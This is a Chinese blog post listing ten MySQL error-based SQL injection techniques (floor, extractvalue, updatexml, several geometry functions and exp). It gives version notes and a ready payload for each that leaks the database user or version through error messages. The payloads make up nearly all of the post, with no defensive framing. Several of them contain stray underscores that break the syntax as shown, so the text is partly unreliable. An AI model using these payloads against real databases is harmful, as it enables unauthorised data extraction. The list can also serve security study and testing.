MySQL常见十种报错注入

    floor()

    常用报错注入方法之一

    数据库语句:select * from test where id=1 and (select 1 from (select count(*_),concat(VERSION(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    extractvalue()

    常用报错注入方法之一

    mysql5.1.5开始可用

    数据库语句:select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    updatexml()

    常用报错注入方法之一

    mysql5.1.5开始可用

    数据库语句:select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

    geometrycollection()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select *_ from test where id=1 and geometrycollection((_select *_ from_(select * from(select user())a)b));

    multipoint()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select *_ from test where id=1 and multipoint((_select *_ from_(select * from(select user())a)b));

    polygon()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and polygon((_select *_ from_(select * from(select user())a)b));

    multipolygon()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select *_ from test where id=1 and multipolygon((_select *_ from_(select * from(select user())a)b));

    linestring()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and linestring((_select *_ from_(select * from(select user())a)b));

    multilinestring()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and multilinestring((_select *_ from_(select * from(select user())a)b));

    exp()

    版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and exp(~(_select *_ from_(select user())a));
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值